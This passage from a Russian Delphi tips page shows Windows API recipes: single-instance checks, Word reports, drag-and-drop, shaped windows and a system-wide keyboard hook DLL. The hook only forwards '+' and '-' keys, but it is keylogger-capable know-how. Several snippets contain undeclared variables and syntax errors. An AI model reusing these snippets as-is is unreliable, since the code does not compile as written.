    Halt;
  END;
  {Иначе - ничего не делаем (не мешаем созданию формы)}
end;

P.S. Для выхода необходимо использовать Halt, а не Close, как хотелось бы, так как форма еще не создана и закрывать нечего.
Есть и другой способ - по списку загруженных приложений

procedure TForm1.FormCreate(Sender: TObject);
VAR
 Wnd : hWnd;
 buff : ARRAY[0.. 127] OF Char;
Begin
 Wnd := GetWindow(Handle, gw_HWndFirst);
 WHILE Wnd <> 0 DO BEGIN
  IF (Wnd <> Application.Handle) AND (GetWindow(Wnd, gw_Owner) = 0)
  THEN BEGIN
   GetWindowText (Wnd, buff, sizeof (buff ));
   IF StrPas (buff) = Application.Title THEN
   BEGIN
    MessageDlg('Приложение уже загружено', mtWarning, [mbOk], 0);
    Halt;
   END;
  END;
  Wnd := GetWindow (Wnd, gw_hWndNext);
 END;
End;

Еще один интересный способ для Win32. Дело в том, что можно в памяти создавать временные файлы. При перезагрузке они теряются, а так существуют. Кстати, этот метод можно использовать и для обмена информацией между вашими приложениями.
Пример:

program Project1;
uses
  Windows, // Обязательно
  Forms,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}
Const
 MemFileSize = 1024;
 MemFileName = 'one_inst_demo_memfile';
Var
 MemHnd : HWND;
begin
  { Попытаемся создать файл в памяти }
  MemHnd := CreateFileMapping(HWND($FFFFFFFF),
                              nil,
                              PAGE_READWRITE,
                              0,
                              MemFileSize,
                              MemFileName);
  { Если файл не существовал запускаем приложение }
  if GetLastError<>ERROR_ALREADY_EXISTS then
  begin
   Application.Initialize;
   Application.CreateForm(TForm1, Form1);
   Application.Run;
  end;
  CloseHandle(MemHnd);
end.

Часто при работе у пользователя может быть открыто 5-20 окон и сообщение о том, что программа уже запущено приводит к тому, что он вынужден полчаса искать ранее запущенную копию. Выход из положения - найдя копию программы активировать ее, для чего в последнем примере перед HALT необходимо добавить строку :
SetForegroundWindow(Wnd);
Например так:

program Project0;
uses
  Windows,  // !!!
  Forms,
  Unit0 in 'Unit0.pas' {Form1};

var
  Handle1 : LongInt;
  Handle2 : LongInt;

{$R *.RES}

begin
  Application.Initialize;
  Handle1 := FindWindow('TForm1',nil);
  if handle1 = 0 then
    begin
      Application.CreateForm(TForm1, Form1);
      Application.Run;
    end
  else
    begin
      Handle2 := GetWindow(Handle1,GW_OWNER);
       //Чтоб заметили :)
      ShowWindow(Handle2,SW_HIDE); ShowWindow(Handle2,SW_RESTORE);
      SetForegroundWindow(Handle1); // Активизируем
    end;
end.

Наверх

Пример вывода сообщения одной командой и ввода строки тоже одной командой.

Вывод сообщения: ShowMessage('сообщение');
Ввод текста от пользователя: S:=InputBox('Заголовок', 'Сообщение', S{строка по умолчанию});

unit Unit1;
interface
uses
 SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms,
 Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage('Пример простого сообщения.'+#10+
  'Данное сообщение выводится всегда в центре экрана.');
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  ShowMessagePos('Пример сообщения с указанием его положения на экране.',
   Form1.Left+Button2.Left, Form1.Top+Button2.Top);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  Button3.Caption := InputBox('Delphi для всех',  'Введите строку:', Button3.Caption);
end;

end.

Наверх

Перетаскивание формы за ее поле

procedure TForm1.MouseDown(Sender: TObject; Button: TMouseButton;
                           Shift: TShiftState; X, Y: Integer);
const
  SC_DragMove = $F012;  { a magic number }
begin
  ReleaseCapture;
  perform(WM_SysCommand, SC_DragMove, 0);
end;

Наверх

Обработка событий от клавиатуры

I. Эмуляция нажатия клавиши.
Внутри приложения это выполняется достаточно просто с помощью вызова функции Windows API SendMessage() (можно воспользоваться и методом Perform того объекта (или формы), кому посылается сообщение о нажатой клавише).
Код
Memo1.Perform(WM_CHAR, Ord('A'), 0);
или
SendMessage(Memo1.Handle, WM_CHAR, Ord('A'), 0);
приведет к печати символа "A" в объекте Memo1.

II. Перехват нажатий клавиши внутри приложения.
Задача решается очень просто. Можно у формы установить свойство KeyPreview в True и обрабатывать событие OnKeyPress. Второй способ - перехватывать событие OnMessage для объекта Application.

III. Перехват нажатия клавиши в Windows.
Существуют приложения, которым необходимо перехватывать все нажатия клавиш в Windows, даже если в данный момент активно другое приложение. Это может быть, например, программа, переключающая раскладку клавиатуры, резидентный словарь или программа, выполняющая иные действия по нажатию "горячей" комбинации клавиш. Перехват всех событий в Windows (в том числе и событий от клавиатуры) выполняется с помощью вызова функции SetWindowsHook(). Данная функция регистрирует в системе Windows ловушку (hook) для определенного типа событий/сообщений. Ловушка - это пользовательская процедура, которая будет обрабатывать указанное событие. Основное здесь то, что эта процедура должна всегда присутствовать в памяти Windows. Поэтому ловушку помещают в DLL и загружают эту DLL из программы. Пока хоть одна программа использует DLL, та не может быть выгружена из памяти. Приведем пример такой DLL и программы, ее использующей. В примере ловушка перехватывает нажатие клавиш на клавиатуре, проверяет их и, если это клавиши "+" или "-", посылает соответствующее сообщение в конкретное приложение (окно). Окно ищется по имени его класса ("TForm1") и заголовку (caption, "XXX").

{текст библиотеки}
library SendKey;
uses
 WinTypes, WinProcs, Messages;

const
 {пользовательские сообщения}
 wm_NextShow_Event = wm_User + 133;
 wm_PrevShow_Event = wm_User + 134;
 {handle для ловушки}
 HookHandle: hHook = 0;

var
 SaveExitProc : Pointer;

{собственно ловушка}
function Key_Hook(Code: integer; wParam: word; lParam: Longint): Longint; export;
var
 H: HWND;
begin
 {если Code>=0, то ловушка может обработать событие}
 if Code >= 0 then
 begin
   {это те клавиши?}
   if ((wParam = VK_ADD)or(wParam = VK_SUBTRACT)) and (lParam and $40000000 = 0)
   then begin
     {ищем окно по имени класса и по заголовку}
     H := FindWindow('TForm1', 'XXX');
     {посылаем сообщение}
     if wParam = VK_ADD then
       SendMessage(H, wm_NextShow_Event, 0, 0)
     else
       SendMessage(H, wm_PrevShow_Event, 0, 0);
   end;
  {если 0, то система должна дальше обработать это событие}
  {если 1 - нет}
  Result:=0;
 end
 else
   {если Code<0, то нужно вызвать следующую ловушку}
   Result := CallNextHookEx(HookHandle,Code, wParam, lParam);
end;

{при выгрузке DLL надо снять ловушку}
procedure LocalExitProc; far;
begin
 if HookHandle<>0 then
 begin
   UnhookWindowsHookEx(HookHandle);
   ExitProc := SaveExitProc;
 end;
end;

{инициализация DLL при загрузке ее в память}
begin
 {устанавливаем ловушку}
 HookHandle := SetWindowsHookEx(wh_Keyboard, Key_Hook,
                                                   hInstance, 0);
 if HookHandle = 0 then
   MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok)
 else begin
  SaveExitProc := ExitProc;
  ExitProc := @LocalExitProc;
 end;
end.

Размер такой DLL в скомпилированном виде будет около 3Кб, поскольку в ней не используются объекты из VCL.

Далее приведен код модуля в Delphi, который загружает DLL и обрабатывает сообщения от ловушки, просто отображая их в Label1.

unit Unit1;
interface
uses
 SysUtils,WinTypes,WinProcs,Messages,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls;

{пользовательские сообщения}
const
 wm_NextShow_Event = wm_User + 133;
 wm_PrevShow_Event = wm_User + 134;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
  private
        {обработчики сообщений}
    procedure WM_NextMSG (Var M : TMessage); message wm_NextShow_Event;
    procedure WM_PrevMSG (Var M : TMessage); message wm_PrevShow_Event;
  end;

var
  Form1: TForm1;
  P : Pointer;

implementation
{$R *.DFM}

{загрузка DLL}
function Key_Hook : Longint; far; external 'SendKey';

procedure TForm1.WM_NextMSG (Var M : TMessage);
begin
  Label1.Caption:='Next message';
end;

procedure TForm1.WM_PrevMSG (Var M : TMessage);
begin
  Label1.Caption:='Previous message';
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  {если не использовать вызов процедуры из DLL в программе,
   то компилятор удалит загрузку DLL из программы}
  P:=@Key_Hook;
end;

end.

Конечно, свойство Caption в этой форме должно быть установлено в "XXX".

Наверх

Как сделать так, что при нажатии на Enter происходил переход к следующему элементу формы

Ставите у формы KeyPreview = true и создаете событие KeyPress следующего вида:

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
begin
 if (Key = #13) then begin
  Key:=#0;
  Perform(WM_NEXTDLGCTL,0,0);
 end;
end;

Наверх

Вставка и удаление компонент в форму в design-time

Вопрос:
Каким образом можно отследить вставку и удаление компонент в форму в design-time? Такая информация могла бы пригодится, если моя компонента имеет ссылки на другие компоненты (например, как в связке TDateSource,TTable и др.)
Ответ:
Для получения такой информации предназначен метод
procedure Notification (AComponent: TComponent; Operation: TOperation); virtual;
класса TComponent. Перекрыв его в своей компоненты Вы можете произвести необходимые действия, в зависимости от значения параметра Operation типа
TOperation = (opInsert, opRemove);
объявленного в модуле Classes. Параметр AComponent - компонента, соответственно вставлемая или удаляемая, в зависимости от Operation.

Наверх

Создание отчета в MS Word

(Пример для Delphi 1.0 поскольку в Delphi 2-3 лучше использовать:
var MsWord : variant;
MsWord := CreateOleObject('Word.Basic'); Для Delphi 3, пример ниже)

Создавать отчет в программе Word удобно если отчет имеет сложную структуру (тогда его быстрее создать в Word, чем в Qreport от Delphi, кроме того, этот QReport имеет "глюки"), либо, если после создания отчета его нужно будет изменять. Итак, первым делом в Word создается шаблон будущего отчета, это самый обыкновенный не заполненный отчет. А в места куда будет записываться информация нужно поставить метки. Например (для наглядности метки показаны зеленым цветом, реально они конечно не видны):

Накладная ? Num

? | Поставщик | Наименование товара | Код товара | Кол-во | Цена | Сумма
Table |  |  |  |  |  |

Сдал_______________________          Принял________________________
             М.П.                                    М.П.

Далее в форму, откуда будут выводиться данные, вставляете компоненту DdeClientConv из палитры System. Назовем ее DDE1. Эта компонента позволяет передавать информацию между программами методом DDE. Свойства:
ConnectMode : ddeManual - связь устанавливаем вручную
DdeService : (winword) - с кем устанавливается связь
ServiceApplication : C:\MSOffice\Winword\WINWORD.EXE - полный путь доступа к программе. (Вот здесь можно наступить на грабли. Ведь Word может лежать в любой папке! Поэтому путь доступа к нему лучше взять из реестра, а еще лучше использовать OLE см.начало раздела)

Теперь пишем процедуру передачи данных:

{ Печать накладной }
procedure Form1.PrintN;
Var
    S          : string;
    i          : integer;
    Sum        : double;  {итоговая сумма, кстати,совет: не пользуйтесь типом real!}
    Tv, Ss     : PChar;
begin
 S:=GetCurrentDir+'\Накладная.doc'; { имя открываемого документа }
 DDE1.OpenLink; { устанавливаем связь }
 Tv:=StrAlloc(20000); Ss:=StrAlloc(300); { выделяем память }
  { даем команду открыть документ и установить курсор в начало документа }
 StrPCopy(Tv, '[FileOpen "'+S+'"][StartOfDocument]');
 S:=NNakl.Text; { номер накладной }
  { записываем в позицию Num номер накладной }
 StrCat(Tv, StrPCopy(SS, '[EditBookmark .Name = "Num", .Goto][Insert "'+S+'"]'+
 '[EditBookmark .Name = "Table", .Goto]'); { и переходим к заполнению таблицы }
  { передаем данные в Word }
 if not DDE1.ExecuteMacro(Tv, false) then
   begin { сообщаем об ошибке и выход }
    MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0);
    StrDispose(Tv); StrDispose(Ss);
    exit;
   end;

  { Заполняем таблицу }
 Sum:=0; Nn:=0;
 for i:=0 to TCount do
 begin
  inc(Nn);
  { предполагаем, что данные находятся в массиве T }
  StrPCopy(Tv, '[Insert "'+IntToStr(Nn)+'"][NextCell][Insert "'+T[i].Company+'"]'+
   '[NextCell][Insert "'+T.TName+'"][NextCell][Insert "'+T.Cod+'"][NextCell]'+
   '[Insert "'+IntToStr(T.Count)+'"][NextCell]'+
   '[Insert "'+FloatToStr(T.Cena)+'"][NextCell]'+
   '[Insert "'+FloatToStr(T.Count*T.Cena)*+'"][NextCell]'));
  inc(Nn);
  Sum:=Sum+(T.Count*T.Cena); { итоговая сумма }
  if not DDE1.ExecuteMacro(Tv, false)
   then begin
    MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0);
    exit;
   end;
 end;

 { Записываем итоговую сумму }
 StrPCopy(Tv,
  '[NextCell][Insert "Итого"][NextCell][NextCell][NextCell]'+
  '[Insert "'+FloatToStr(Sum)+'"]'));
 if not DDE1.ExecuteMacro(Tv, false)
  then MessageDlg('Ошибка связи с Microsoft Word.', mtError, [mbOk], 0)
  else MessageDlg('Акт удачно создан. Перейдите в Microsoft Word.',
        mtInformation, [mbOk], 0);

 StrDispose(Tv); StrDispose(Ss);
end;

Для Delphi 2 и выше
=== Cut Пример by Sergey Arkhipov 2:5054/88.10 ===

Пример проверен только на русском Word 7.0! Может, поможет...

unit InWord;
interface
uses
  ... ComCtrls; // Delphi3
  ... OLEAuto;  // Delphi2
[skip]
procedure TPrintForm.MPrintClick(Sender: TObject);
var W: Variant;
    S: String;
begin
  S:=IntToStr(Num);
  try // А вдруг где ошибка :)
    W:=CreateOleObject('Word.Basic');
    // Создаем документ по шаблону MyWordDot
    // с указанием пути если он не в папке шаблонов Word
    W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0);
    // Отключение фоновой печати (на LJ5L без этого был пустой лист)
    W.ToolsOptionsPrint(Background:=0);

    // Переходим к закладке Word'a 'Num'
    W.EditGoto('Num'); W.Insert(S);
    //Сохранение
    W.FileSaveAs('C:\MayPath\Reports\MyReport')
    W.FilePrint(NumCopies:='2'); // Печать 2-х копий
  finally
    W.ToolsOptionsPrint(Background:=1);
    W:=UnAssigned;
  end;
end;
{.....}

=== Cut Конец примера ===

Спасибо Сергею :) И еще, как определить установлен ли на компьютере Word, запустить его и загрузить в него текст из программы?

Пример:

var
 MsWord: Variant;
...
try
 // Если Word уже запущен
 MsWord := GetActiveOleObject('Word.Application');
 // Взять ссылку на запущенный OLE объект
 except
  try
  // Word не запущен, запустить
  MsWord := CreateOleObject('Word.Application');
  // Создать ссылку на зарегистрированный OLE объект
  MsWord.Visible := True;
   except
    ShowMessage('Не могу запустить Microsoft Word');
    Exit;
   end;
  end;
 end;
...
MSWord.Documents.Add; // Создать новый документ
MsWord.Selection.Font.Bold := True; // Установить жирный шрифт
MsWord.Selection.Font.Size := 12; // установить 12 кегль
MsWord.Selection.TypeText('Текст');

По командам OLE Automation сервера см. help по Microsoft Word Visual Basic.

Ну вот и все.

Наверх

Перетаскивание файла

{ На эту форму можно бросить файл (например из проводника)
  и он будет открыт }
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs,StdCtrls,
  ShellAPI {обязательно!};

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    FileNameLabel: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  protected
   {Это и есть самая главная процедура}
    procedure WMDropFiles(var Msg: TMessage); message wm_DropFiles;
end;

var
  Form1: TForm1;
implementation
{$R *.DFM}

procedure TForm1.WMDropFiles(var Msg: TMessage);
var
   Filename: array[0 .. 256] of Char;
   Count   : integer;
begin
  { Получаем количество файлов (просто пример) }
   nCount := DragQueryFile( msg.WParam, $FFFFFFFF,
     acFileName, cnMaxFileNameLen);
  { Получаем имя первого файла }
  DragQueryFile( THandle(Msg.WParam),
     0, { это номер файла }
     Filename,SizeOf(Filename) ) ;
  { Открываем его }
  with FileNameLabel do begin
   Caption := LowerCase(StrPas(FileName));
   Memo1.Lines.LoadfromFile(Caption);
  end;
  { Отдаем сообщение о завершении процесса }
  DragFinish(THandle(Msg.WParam));
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 { Говорим Windows, что на нас можно бросать файлы }
 DragAcceptFiles(Handle, True);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 { Закрываем за собой дверь золотым ключиком}
 DragAcceptFiles(Handle, False);
end;
end.

Наверх

Привлечение внимания к окну

Часто возникает проблема - в многооконном приложении необходимо обратить внимание пользователя на то, что какое-то из окон требует внимания (например, к нему пришло сообщение по DDE, в нем завершился какой-либо процесс, произошла ошибка ...). Это легко сделать, используя команду API FlashWindow:

procedure TForm1.Timer1Timer(Sender: TObject);
begin
 FlashWindow(Handle,true);
end;

В данном примере FlashWindow вызывается по таймеру ежесекундно, что приводит к миганию заголовка окна.

Наверх

Заставка для программы

Сведения о программе, авторские права и т.д., лучше оформить в виде отдельной формы и показывать ее при запуске программы (как это сделано в Word).
Сделать это не сложно:
1. Создаете форму (например SplashForm).
2. Объявляете ее свободной (availableForms).
3. В Progect Source вставляете следующее (например):

        program Splashin;
        uses
                Forms,
                Main in 'MAIN.PAS',
                Splash in 'SPLASH.PAS'
        {$R *.RES}
        begin
        try
                SplashForm := TSplashForm.Create(Application);
                SplashForm.Show;
                SplashForm.Update;
                Application.CreateForm(TMainForm, MainForm);
                SplashForm.Hide;
        finally
                SplashForm.Free;
        end;
                Application.Run;
        end.

И форма SplashForm держится на экране пока выполняется Create в главной форме. Но иногда она появляется и пропадает очень быстро, поэтому нужно сделать задержку:
1. Добавляете на форму таймер с событием:

    procedure TSplashForm.Timer1Timer(Sender: TObject);
    begin
      Timer1.Enabled := False;
    end;

2. Событие onCloseQuery для формы:

    procedure TSplashForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    begin
      CanClose := Not Timer1.Enabled;
    end;

3. И перед SplashForm.Hide; ставите цикл:

    repeat
      Application.ProcessMessages;
    until SplashForm.CloseQuery;

4. Все! Осталось установить на таймере период задержки 3-4 секунды.
5. На последок, у такой формы желательно убрать Caption:
SetWindowLong (Main.Handle,GWL_STYLE, GetWindowLong(Main.Handle, GWL_STYLE) AND NOT WS_CAPTION OR WS_SIZEBOX);

Наверх

Прозрачная форма

Эта форма имет прозрачный фон !!!

unit unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
  Button1: TButton;
  Button2: TButton;
    // это просто кнопка на форме - для демонстрации
  protected
    procedure RebuildWindowRgn;
    procedure Resize; override;
  public
    constructor Create(AOwner: TComponent); override;
  end;
var
  Form1 : TForm1;
implementation
// ресурс этой формы
{$R *.DFM}

{ Прозрачная форма }
constructor TForm1.Create(AOwner: TComponent);
begin
  inherited;
  // убираем сколлбары, чтобы не мешались
  // при изменении размеров формы
  HorzScrollBar.Visible:= False;
  VertScrollBar.Visible:= False;
  // строим новый регион
  RebuildWindowRgn;
end;

procedure TForm1.Resize;
begin
  inherited;
  // строим новый регион
  RebuildWindowRgn;
end;

procedure TForm1.RebuildWindowRgn;
var
  FullRgn, Rgn: THandle;
  ClientX, ClientY, I: Integer;
begin
  // определяем относительные координаты клиенской части
  ClientX:= (Width - ClientWidth) div 2;
  ClientY:= Height - ClientHeight - ClientX;
  // создаем регион для всей формы
  FullRgn:= CreateRectRgn(0, 0, Width, Height);
  // создаем регион для клиентской части формы
  // и вычитаем его из FullRgn
  Rgn:= CreateRectRgn(ClientX, ClientY, ClientX + ClientWidth, ClientY +
ClientHeight);
  CombineRgn(FullRgn, FullRgn, Rgn, rgn_Diff);
  // теперь добавляем к FullRgn регионы каждого контрольного элемента
  for I:= 0 to ControlCount -1 do
    with Controls[I] do begin
      Rgn:= CreateRectRgn(ClientX + Left, ClientY + Top, ClientX + Left +
Width, ClientY + Top + Height);
      CombineRgn(FullRgn, FullRgn, Rgn, rgn_Or);
    end;
  // устанавливаем новый регион окна
  SetWindowRgn(Handle, FullRgn, True);
end;
end.

А как Вам понравится эта форма ?

unit rgnu;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Buttons, Menus;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormPaint(Sender: TObject);
  private
    { Private declarations }
    rTitleBar : THandle;
    Center    : TPoint;
    CapY   : Integer;
    Circum    : Double;
    SB1       : TSpeedButton;
    RL, RR    : Double;
    procedure TitleBar(Act : Boolean);
    procedure WMNCHITTEST(var Msg: TWMNCHitTest);
      message WM_NCHITTEST;
    procedure WMNCACTIVATE(var Msg: TWMNCACTIVATE);
      message WM_NCACTIVATE;
    procedure WMSetText(var Msg: TWMSetText);
      message WM_SETTEXT;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

CONST
  TitlColors : ARRAY[Boolean] OF TColor =
    (clInactiveCaption, clActiveCaption);
  TxtColors : ARRAY[Boolean] OF TColor =
    (clInactiveCaptionText, clCaptionText);

procedure TForm1.FormCreate(Sender: TObject);
VAR
  rTemp, rTemp2    : THandle;
  Vertices : ARRAY[0..2] OF TPoint;
  X, Y     : INteger;
begin
  Caption := 'OOOH! Doughnuts!';
  BorderStyle := bsNone; {required}
  IF Width > Height THEN Width := Height
  ELSE Height := Width;  {harder to calc if width <> height}
  Center  := Point(Width DIV 2, Height DIV 2);
  CapY := GetSystemMetrics(SM_CYCAPTION)+8;
  rTemp := CreateEllipticRgn(0, 0, Width, Height);
  rTemp2 := CreateEllipticRgn((Width DIV 4), (Height DIV 4),
    3*(Width DIV 4), 3*(Height DIV 4));
  CombineRgn(rTemp, rTemp, rTemp2, RGN_DIFF);
  SetWindowRgn(Handle, rTemp, True);
  DeleteObject(rTemp2);
  rTitleBar  := CreateEllipticRgn(4, 4, Width-4, Height-4);
  rTemp := CreateEllipticRgn(CapY, CapY, Width-CapY, Height-CapY);
  CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_DIFF);
  Vertices[0] := Point(0,0);
  Vertices[1] := Point(Width, 0);
  Vertices[2] := Point(Width DIV 2, Height DIV 2);
  rTemp := CreatePolygonRgn(Vertices, 3, ALTERNATE);
  CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_AND);
  DeleteObject(rTemp);
  RL := ArcTan(Width / Height);
  RR := -RL + (22 / Center.X);
  X := Center.X-Round((Center.X-1-(CapY DIV 2))*Sin(RR));
  Y := Center.Y-Round((Center.Y-1-(CapY DIV 2))*Cos(RR));
  SB1 := TSpeedButton.Create(Self);
  WITH SB1 DO
    BEGIN
      Parent     := Self;
      Left       := X;
      Top        := Y;
      Width      := 14;
      Height     := 14;
      OnClick    := Button1Click;
      Caption    := 'X';
      Font.Style := [fsBold];
    END;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Close;
End;

procedure TForm1.WMNCHITTEST(var Msg: TWMNCHitTest);
begin
  Inherited;
  WITH Msg DO
    WITH ScreenToClient(Point(XPos,YPos)) DO
      IF PtInRegion(rTitleBar, X, Y) AND
       (NOT PtInRect(SB1.BoundsRect, Point(X,Y))) THEN
        Result := htCaption;
end;

procedure TForm1.WMNCActivate(var Msg: TWMncActivate);
begin
  Inherited;
  TitleBar(Msg.Active);
end;

procedure TForm1.WMSetText(var Msg: TWMSetText);
begin
  Inherited;
  TitleBar(Active);
end;

procedure TForm1.TitleBar(Act: Boolean);
VAR
  TF      : TLogFont;
  R       : Double;
  N, X, Y : Integer;
begin
  IF Center.X = 0 THEN Exit;
  WITH Canvas DO
    begin
      Brush.Style := bsSolid;
      Brush.Color := TitlColors[Act];
      PaintRgn(Handle, rTitleBar);
      R  := RL;
      Brush.Color := TitlColors[Act];
      Font.Name := 'Arial';
      Font.Size := 12;
      Font.Color := TxtColors[Act];
      Font.Style := [fsBold];
      GetObject(Font.Handle, SizeOf(TLogFont), @TF);
      FOR N := 1 TO Length(Caption) DO
        BEGIN
          X := Center.X-Round((Center.X-6)*Sin(R));
          Y := Center.Y-Round((Center.Y-6)*Cos(R));
          TF.lfEscapement := Round(R * 1800 / pi);
          Font.Handle := CreateFontIndirect(TF);
          TextOut(X, Y, Caption[N]);
          R := R - (((TextWidth(Caption[N]))+2) / Center.X);
          IF R < RR THEN Break;
        END;
      Font.Name := 'MS Sans Serif';
      Font.Size := 8;
      Font.Color := clWindowText;
      Font.Style := [];
    end;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
  WITH Canvas DO
    BEGIN
      Pen.Color := clBlack;
      Brush.Style := bsClear;
      Pen.Width := 1;
      Pen.Color := clWhite;
      Arc(1, 1, Width-1, Height-1, Width, 0, 0, Height);
      Arc((Width DIV 4)-1, (Height DIV 4)-1,
        3*(Width DIV 4)+1, 3*(Height DIV 4)+1, 0, Height, Width, 0);
      Pen.Color := clBlack;
      Arc(1, 1, Width-1, Height-1, 0, Height, Width, 0);
      Arc((Width DIV 4)-1, (Height DIV 4)-1,
        3*(Width DIV 4)+1, 3*(Height DIV 4)+1, Width, 0, 0, Height);
      TitleBar(Active);
    END;
end;

end.

Наверх

Как получить короткий путь файла если имеется длинный ("c:\Program Files" ==> "c:\progra~1")

GetShortPathName()

Наверх

Как создать свою кнопку в заголовке формы (на Caption Bar)

Непосредственно такой функции вроде нет, но можно изловчиться. Нарисовать там кнопку вручную и обрабатывать команды нажатия мышки на Caption Bar.
Пример.

unit Main;
interface
uses
  Windows, Buttons, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TForm1 = class(TForm)
    procedure FormResize(Sender: TObject);
  private
    CaptionBtn : TRect;
    procedure DrawCaptButton;
    procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPaint;
    procedure WMNCActivate(var Msg : TWMNCActivate); message WM_NCACTIVATE;
    procedure WMSetText(var Msg : TWMSetText); message WM_SETTEXT;
    procedure WMNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;
    procedure WMNCLButtonDown(var Msg : TWMNCLButtonDown); message WM_NCLBUTTONDOWN;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
const
  htCaptionBtn = htSizeLast + 1;
{$R *.DFM}

procedure TForm1.DrawCaptButton;
var
  xFrame,  yFrame,  xSize,  ySize  : Integer;
  R : TRect;
begin
  //Dimensions of Sizeable Frame
  xFrame := GetSystemMetrics(SM_CXFRAME);
  yFrame := GetSystemMetrics(SM_CYFRAME);

  //Dimensions of Caption Buttons
  xSize  := GetSystemMetrics(SM_CXSIZE);
  ySize  := GetSystemMetrics(SM_CYSIZE);

  //Define the placement of the new caption button
  CaptionBtn := Bounds(Width - xFrame - 4*xSize + 2,
                       yFrame + 2, xSize - 2, ySize - 4);

  //Get the handle to canvas using Form's device context
  Canvas.Handle := GetWindowDC(Self.Handle);

  Canvas.Font.Name := 'Symbol';
  Canvas.Font.Color := clBlue;
  Canvas.Font.Style := [fsBold];
  Canvas.Pen.Color := clYellow;
  Canvas.Brush.Color := clBtnFace;

  try
    DrawButtonFace(Canvas, CaptionBtn, 1, bsAutoDetect, False, False, False);
    //Define a smaller drawing rectangle within the button
    R := Bounds(Width - xFrame - 4 * xSize + 2,
                       yFrame + 3, xSize - 6, ySize - 7);
    with CaptionBtn do
      Canvas.TextRect(R, R.Left + 2, R.Top - 1, 'W');
  finally
    ReleaseDC(Self.Handle, Canvas.Handle);
    Canvas.Handle := 0;
  end;
end;

procedure TForm1.WMNCPaint(var Msg : TWMNCPaint);
begin
  inherited;
  DrawCaptButton;
end;

procedure TForm1.WMNCActivate(var Msg : TWMNCActivate);
begin
  inherited;
  DrawCaptButton;
end;

procedure TForm1.WMSetText(var Msg : TWMSetText);
begin
  inherited;
  DrawCaptButton;
end;

procedure TForm1.WMNCHitTest(var Msg : TWMNCHitTest);
begin
  inherited;
  with Msg do
    if PtInRect(CaptionBtn, Point(XPos - Left, YPos - Top)) then
      Result := htCaptionBtn;
end;

procedure TForm1.WMNCLButtonDown(var Msg : TWMNCLButtonDown);
begin
  inherited;
  if (Msg.HitTest = htCaptionBtn) then
    ShowMessage('You hit the button on the caption bar');
end;

procedure TForm1.FormResize(Sender: TObject);
begin
  //Force a redraw of caption bar if form is resized
  Perform(WM_NCACTIVATE, Word(Active), 0);
end;

end.

Наверх

Преобразование текста OEM у Ansi

Эта версия работает под любым Delphi.
(Начиная с Delphi 2, это можно записать короче с использованием AnsiToOem и OemToAnsi.)
Здесь все просто.

function ConvertAnsiToOem(const S : string) : string;
{ ConvertAnsiToOem translates a string into the OEM-defined character set }
{$IFNDEF WIN32}
var
  Source, Dest : array[0..255] of Char;
{$ENDIF}
begin
{$IFDEF WIN32}
  SetLength(Result, Length(S));
  if Length(Result) > 0 then
    AnsiToOem(PChar(S), PChar(Result));
{$ELSE}
  if Length(Result) > 0 then
  begin
    AnsiToOem(StrPCopy(Source, S), Dest);
    Result := StrPas(Dest);
  end;
{$ENDIF}
end; { ConvertAnsiToOem }

function ConvertOemToAnsi(const S : string) : string;
{ ConvertOemToAnsi translates a string from the OEM-defined
  character set into either an ANSI or a wide-character string }
{$IFNDEF WIN32}
var
  Source, Dest : array[0..255] of Char;
{$ENDIF}
begin
{$IFDEF WIN32}
  SetLength(Result, Length(S));
  if Length(Result) > 0 then
    OemToAnsi(PChar(S), PChar(Result));
{$ELSE}
  if Length(Result) > 0 then
  begin
    OemToAnsi(StrPCopy(Source, S), Dest);
    Result := StrPas(Dest);
  end;
{$ENDIF}
end; { ConvertOemToAnsi }

Наверх

Состояние кнопки insert (Insert/Overwrite)

{------------------------------------------}
{ Returns the status of the Insert key.    }
{------------------------------------------}
function InsertOn: Boolean;
begin
  if LowOrderBitSet(GetKeyState(VK_INSERT))
   then InsertOn := true
   else InsertOn := false
end;

Наверх

Сводка функций модуля Math

